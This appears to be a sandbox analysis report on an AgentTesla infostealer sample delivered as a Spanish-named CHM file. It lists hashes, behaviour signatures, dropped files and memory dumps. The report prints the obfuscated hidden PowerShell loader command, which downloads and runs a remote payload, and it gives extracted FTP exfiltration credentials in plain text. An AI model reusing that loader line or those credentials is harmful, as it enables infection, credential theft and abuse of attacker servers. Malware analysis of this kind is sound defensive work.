agenttesla | 4e5adbeec13351073966ef1359fb442cfcf1ca6e1aa8485804f9281c65c3d276

Analysis

max time kernel
291s
max time network
296s
platform
windows10-2004_x64
resource
win10v2004-20230220-es
resource tags

arch:x64arch:x86image:win10v2004-20230220-eslocale:es-esos:windows10-2004-x64systemwindows
submitted
04/05/2023, 18:41

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

NOTA_DE_.chm
Size

17KB
MD5

bb8f93b0d3d4705f5b392c86eb874026
SHA1

a966e0c6a9089cb0d2109bcf3f0af6259a9b40e0
SHA256

5a883d1a6f91650bdf834da1d2f95e7c02f1898dc4f9a4fed59c4b2c40b62f6d
SHA512

89547138d769841ea014d5623bc007bfb668b1b4d140d9c087311484f0457aebd83cc340c2d2275d7388e1cff405f572ea886be62318b810b874d858a2ebb042
SSDEEP

192:IGureT0FDCkUUKZB2FvC5bjlb/bbxR4imW4xBq34Pof:IGureT0FKUUB4alZbbbxRmNB3Pof

Score

10^/10

agenttesla collection keylogger spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://mailink.app/K72.txt

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://ftp.kamen.si
Port:
21
Username:
[email protected]
Password:
Motherland23@

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 1 IoCs

flow	pid	Process
18	4608	powershell.exe

Loads dropped DLL 2 IoCs

pid	Process
4608	powershell.exe
4608	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4608 set thread context of 2124	4608	powershell.exe	85

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4608	powershell.exe
4608	powershell.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	4608	powershell.exe
Token: SeIncreaseQuotaPrivilege	4608	powershell.exe
Token: SeSecurityPrivilege	4608	powershell.exe
Token: SeTakeOwnershipPrivilege	4608	powershell.exe
Token: SeLoadDriverPrivilege	4608	powershell.exe
Token: SeSystemProfilePrivilege	4608	powershell.exe
Token: SeSystemtimePrivilege	4608	powershell.exe
Token: SeProfSingleProcessPrivilege	4608	powershell.exe
Token: SeIncBasePriorityPrivilege	4608	powershell.exe
Token: SeCreatePagefilePrivilege	4608	powershell.exe
Token: SeBackupPrivilege	4608	powershell.exe
Token: SeRestorePrivilege	4608	powershell.exe
Token: SeShutdownPrivilege	4608	powershell.exe
Token: SeDebugPrivilege	4608	powershell.exe
Token: SeSystemEnvironmentPrivilege	4608	powershell.exe
Token: SeRemoteShutdownPrivilege	4608	powershell.exe
Token: SeUndockPrivilege	4608	powershell.exe
Token: SeManageVolumePrivilege	4608	powershell.exe
Token: 33	4608	powershell.exe
Token: 34	4608	powershell.exe
Token: 35	4608	powershell.exe
Token: 36	4608	powershell.exe
Token: SeIncreaseQuotaPrivilege	4608	powershell.exe
Token: SeSecurityPrivilege	4608	powershell.exe
Token: SeTakeOwnershipPrivilege	4608	powershell.exe
Token: SeLoadDriverPrivilege	4608	powershell.exe
Token: SeSystemProfilePrivilege	4608	powershell.exe
Token: SeSystemtimePrivilege	4608	powershell.exe
Token: SeProfSingleProcessPrivilege	4608	powershell.exe
Token: SeIncBasePriorityPrivilege	4608	powershell.exe
Token: SeCreatePagefilePrivilege	4608	powershell.exe
Token: SeBackupPrivilege	4608	powershell.exe
Token: SeRestorePrivilege	4608	powershell.exe
Token: SeShutdownPrivilege	4608	powershell.exe
Token: SeDebugPrivilege	4608	powershell.exe
Token: SeSystemEnvironmentPrivilege	4608	powershell.exe
Token: SeRemoteShutdownPrivilege	4608	powershell.exe
Token: SeUndockPrivilege	4608	powershell.exe
Token: SeManageVolumePrivilege	4608	powershell.exe
Token: 33	4608	powershell.exe
Token: 34	4608	powershell.exe
Token: 35	4608	powershell.exe
Token: 36	4608	powershell.exe
Token: SeDebugPrivilege	2124	MSBuild.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3560	hh.exe
3560	hh.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3560 wrote to memory of 4608	3560	hh.exe	81
PID 3560 wrote to memory of 4608	3560	hh.exe	81
PID 4608 wrote to memory of 2124	4608	powershell.exe	85
PID 4608 wrote to memory of 2124	4608	powershell.exe	85
PID 4608 wrote to memory of 2124	4608	powershell.exe	85
PID 4608 wrote to memory of 2124	4608	powershell.exe	85
PID 4608 wrote to memory of 2124	4608	powershell.exe	85
PID 4608 wrote to memory of 2124	4608	powershell.exe	85
PID 4608 wrote to memory of 2124	4608	powershell.exe	85
PID 4608 wrote to memory of 2124	4608	powershell.exe	85

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

C:\Windows\hh.exe
"C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\NOTA_DE_.chm
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden $t0='DE5'.replace('D','I').replace('5','x');sal P $t0;$ErrorActionPreference = 'SilentlyContinue';$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;'[void' + '] [Syst' + 'em.Refle' + 'ction.Asse' + 'mbly]::LoadWi' + 'thPartialName(''Microsoft.VisualBasic'')'|P;do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$tty='(New-'+'Obje'+'ct Ne'+'t.We'+'bCli'+'ent)'|P;$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,'Down' + 'load' + 'Str' + 'ing',[Microsoft.VisualBasic.CallType]::Method,'https' + '://mailink.app/K72.txt')|P
  2⤵
  - Blocklisted process makes network request
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4608
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:2124

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\7a258487-5a0c-4717-93fd-490530d5cdfb\AgileDotNetRT64.dll

Filesize
75KB

MD5
42b2c266e49a3acd346b91e3b0e638c0

SHA1
2bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1

SHA256
adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29

SHA512
770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ekuu2lwa.1de.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\aef8bac5-5612-4e64-8c84-ab708c3a7b4d\AgileDotNetRT64.dll

Filesize
75KB

MD5
42b2c266e49a3acd346b91e3b0e638c0

SHA1
2bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1

SHA256
adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29

SHA512
770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81

Download Submit
C:\Users\Admin\AppData\Local\Temp\aef8bac5-5612-4e64-8c84-ab708c3a7b4d\AgileDotNetRT64.dll

Filesize
75KB

MD5
42b2c266e49a3acd346b91e3b0e638c0

SHA1
2bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1

SHA256
adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29

SHA512
770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81

Download Submit
memory/2124-254-0x0000000000400000-0x0000000000430000-memory.dmp

Filesize
192KB

Download
memory/2124-263-0x00000000059B0000-0x00000000059C0000-memory.dmp

Filesize
64KB

Download
memory/2124-262-0x0000000007120000-0x00000000072E2000-memory.dmp

Filesize
1.8MB

Download
memory/2124-261-0x0000000006B90000-0x0000000006BE0000-memory.dmp

Filesize
320KB

Download
memory/2124-260-0x0000000006AA0000-0x0000000006AAA000-memory.dmp

Filesize
40KB

Download
memory/2124-259-0x0000000006E40000-0x0000000006F42000-memory.dmp

Filesize
1.0MB

Download
memory/2124-258-0x0000000006AB0000-0x0000000006B42000-memory.dmp

Filesize
584KB

Download
memory/2124-257-0x00000000059C0000-0x0000000005A26000-memory.dmp

Filesize
408KB

Download
memory/2124-256-0x00000000059B0000-0x00000000059C0000-memory.dmp

Filesize
64KB

Download
memory/2124-255-0x0000000005CF0000-0x0000000006294000-memory.dmp

Filesize
5.6MB

Download
memory/4608-192-0x0000024D6DD10000-0x0000024D6DD36000-memory.dmp

Filesize
152KB

Download
memory/4608-217-0x0000024D6DD60000-0x0000024D6DD77000-memory.dmp

Filesize
92KB

Download
memory/4608-168-0x0000024D6DD10000-0x0000024D6DD36000-memory.dmp

Filesize
152KB

Download
memory/4608-170-0x0000024D6DD10000-0x0000024D6DD36000-memory.dmp

Filesize
152KB

Download
memory/4608-172-0x0000024D6DD10000-0x0000024D6DD36000-memory.dmp

Filesize
152KB

Download
memory/4608-174-0x0000024D6DD10000-0x0000024D6DD36000-memory.dmp

Filesize
152KB

Download
memory/4608-176-0x0000024D6DD10000-0x0000024D6DD36000-memory.dmp

Filesize
152KB

Download
memory/4608-178-0x0000024D6DD10000-0x0000024D6DD36000-memory.dmp

Filesize
152KB

Download
memory/4608-180-0x0000024D6DD10000-0x0000024D6DD36000-memory.dmp

Filesize
152KB

Download
memory/4608-182-0x0000024D6DD10000-0x0000024D6DD36000-memory.dmp

Filesize
152KB

Download
memory/4608-184-0x0000024D6DD10000-0x0000024D6DD36000-memory.dmp

Filesize
152KB

Download
memory/4608-186-0x0000024D6DD10000-0x0000024D6DD36000-memory.dmp

Filesize
152KB

Download
memory/4608-188-0x0000024D6DD10000-0x0000024D6DD36000-memory.dmp

Filesize
152KB

Download
memory/4608-190-0x0000024D6DD10000-0x0000024D6DD36000-memory.dmp

Filesize
152KB

Download
memory/4608-166-0x0000024D6DD10000-0x0000024D6DD36000-memory.dmp

Filesize
152KB

Download
memory/4608-194-0x0000024D6DD10000-0x0000024D6DD36000-memory.dmp

Filesize
152KB

Download
memory/4608-196-0x0000024D6DD10000-0x0000024D6DD36000-memory.dmp

Filesize
152KB

Download
memory/4608-198-0x0000024D6DD10000-0x0000024D6DD36000-memory.dmp

Filesize
152KB

Download
memory/4608-200-0x0000024D6DD10000-0x0000024D6DD36000-memory.dmp

Filesize
152KB

Download
memory/4608-202-0x0000024D6DD10000-0x0000024D6DD36000-memory.dmp

Filesize
152KB

Download
memory/4608-204-0x0000024D6DD10000-0x0000024D6DD36000-memory.dmp

Filesize
152KB

Download
memory/4608-165-0x0000024D6DD10000-0x0000024D6DD36000-memory.dmp

Filesize
152KB

Download
memory/4608-218-0x0000024D6DD60000-0x0000024D6DD77000-memory.dmp

Filesize
92KB

Download
memory/4608-222-0x0000024D6DD60000-0x0000024D6DD77000-memory.dmp

Filesize
92KB

Download
memory/4608-220-0x0000024D6DD60000-0x0000024D6DD77000-memory.dmp

Filesize
92KB

Download
memory/4608-224-0x0000024D6DD60000-0x0000024D6DD77000-memory.dmp

Filesize
92KB

Download
memory/4608-226-0x0000024D6DD60000-0x0000024D6DD77000-memory.dmp

Filesize
92KB

Download
memory/4608-228-0x0000024D6DD60000-0x0000024D6DD77000-memory.dmp

Filesize
92KB

Download
memory/4608-230-0x0000024D6DD60000-0x0000024D6DD77000-memory.dmp

Filesize
92KB

Download
memory/4608-232-0x0000024D6DD60000-0x0000024D6DD77000-memory.dmp

Filesize
92KB

Download
memory/4608-234-0x0000024D6DD60000-0x0000024D6DD77000-memory.dmp

Filesize
92KB

Download
memory/4608-236-0x0000024D6DD60000-0x0000024D6DD77000-memory.dmp

Filesize
92KB

Download
memory/4608-164-0x00007FFE18E30000-0x00007FFE18F7E000-memory.dmp

Filesize
1.3MB

Download
memory/4608-157-0x0000024D6CF20000-0x0000024D6CF30000-memory.dmp

Filesize
64KB

Download
memory/4608-156-0x0000024D6CF20000-0x0000024D6CF30000-memory.dmp

Filesize
64KB

Download
memory/4608-155-0x0000024D6CF20000-0x0000024D6CF30000-memory.dmp

Filesize
64KB

Download
memory/4608-154-0x0000024D6DCF0000-0x0000024D6DD04000-memory.dmp

Filesize
80KB

Download
memory/4608-153-0x0000024D6DDE0000-0x0000024D6DEE2000-memory.dmp

Filesize
1.0MB

Download
memory/4608-152-0x0000024D6DCA0000-0x0000024D6DCC2000-memory.dmp

Filesize
136KB

Download
memory/4608-151-0x0000024D6DAE0000-0x0000024D6DAF0000-memory.dmp

Filesize
64KB

Download
memory/4608-141-0x0000024D6DB10000-0x0000024D6DB92000-memory.dmp

Filesize
520KB

Download
memory/4608-238-0x0000024D6DD60000-0x0000024D6DD77000-memory.dmp

Filesize
92KB

Download